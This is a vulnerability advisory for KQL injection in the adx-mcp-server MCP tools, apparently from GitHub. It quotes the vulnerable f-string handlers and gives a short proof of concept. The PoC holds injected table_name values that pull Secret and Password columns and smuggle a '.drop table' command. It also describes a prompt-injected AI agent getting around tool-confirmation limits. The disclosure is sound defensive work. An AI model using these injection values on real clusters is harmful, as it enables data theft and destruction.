Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

Description

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -&gt; List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f&quot;{table_name} | getschema&quot;          # &lt;-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -&gt; List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f&quot;{table_name} | sample {sample_size}&quot;  # &lt;-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -&gt; List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f&quot;.show table {table_name} details&quot;     # &lt;-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
- sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
- Newline-separated management commands like .drop table important_data via get_table_details
- Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f&quot;{table_name} | getschema&quot;

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    &quot;name&quot;: &quot;get_table_schema&quot;,
    &quot;arguments&quot;: {
        &quot;table_name&quot;: &quot;sensitive_data | project Secret, Password | take 100 //&quot;
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: &quot;sensitive_data | project Secret, Password | take 100 // | getschema&quot;
# The // comments out &quot;| getschema&quot;, executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    &quot;name&quot;: &quot;get_table_details&quot;,
    &quot;arguments&quot;: {
        &quot;table_name&quot;: &quot;users details\n.drop table critical_data&quot;
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-27 19:08:09 UTC
Updated
2026-03-30 20:17:31 UTC
GitHub reviewed
2026-03-27 19:08:09 UTC
NVD published
2026-03-27

EPSS Score

Score Percentile
0.05% 16.25%

CVSS Scores

Base score Version Severity Vector
8.3 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:L)
Might cause slowdowns, glitches, or partial disruption—not a full brick.

Identifiers

CWEs

CWE id Name
CWE-943 Improper Neutralization of Special Elements in Data Query Logic

Credits

  • romain-deperne (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip adx-mcp-server <= 1.1.0

References

cvelogic Threat Intelligence